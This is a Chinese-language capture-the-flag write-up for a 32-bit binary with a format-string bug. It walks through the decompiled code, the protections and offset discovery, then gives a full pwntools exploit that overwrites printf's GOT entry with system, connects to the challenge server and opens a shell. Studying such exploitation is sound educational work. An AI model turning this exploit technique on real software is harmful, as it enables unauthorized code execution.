pwn-300之前有一道pwn-200,也具有canary保护及NX保护,但是直接给了system(‘/bin/sh’)的函数,所以问题的关键就在于如何使程序转向该函数地址执行;幸运的是该程序同时具有格式化字符串漏洞。所以最后的思路就是,第一次输入,格式化字符串漏洞泄露canary,第二次输入溢出到函数返回地址即可。
而这道题将输入由gets变为fgets,也就是即使泄露出canary也无法溢出利用(canary必定以/x00结尾),同时没有了现成的system(‘/bin/sh’)函数。

查看内容及保护

main函数为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+Ch] [ebp-4Ch]
unsigned int v5; // [esp+4Ch] [ebp-Ch]

v5 = __readgsdword(0x14u); //canary生成
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
fgets(&s, 64, stdin); //fgets,遇/x00停止
printf(&s); //格式化字符串漏洞
fgets(&s, 64, stdin);
printf(&s);
return 0;
}

查看文件保护

仍然是canary 与 栈不可执行;

1
2
3
4
5
6
7
root@xuewenjie-kali:~/tikool# checksec binary_300
[*] '/root/tikool/binary_300'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

查看加载函数

发现system函数

加载函数

加载函数

确定思路

想到可以使用格式化字符串覆盖某个函数的got表地址,看下程序流程,想到可以覆盖printf函数的got地址,在第二次输入’/bin/sh’,原先的printf(/bin/sh)就会变成system(/bin/sh),获取shell;

流程实现

确定字符串位置

1
2
3
root@xuewenjie-kali:~/tikool# ./binary_300
aaaa%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
aaaa00000040.f7f285c0.00000000.00000000.00000000.00000000.61616161.78383025.3830252e

即字符串位于第六(相对于)或第七个(相对于

exp

如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

#sh = process('./binary_300')
sh = remote('bamboofox.cs.nctu.edu.tw',22003)
libc = ELF('./binary_300')

printf_got = libc.got['printf']
system_add = libc.symbols['system']

payload = fmtstr_payload(7, {printf_got: system_add}) //pwntools自带,用于生成格式化字符串payload;

print payload
sh.sendline(payload)

sh.recv()
sh.sendline('/bin/sh')
sh.interactive()

成功获得shell

1
2
3
4
5
[*] Switching to interactive mode
$ /bin/sh
$ whoami
ctf
$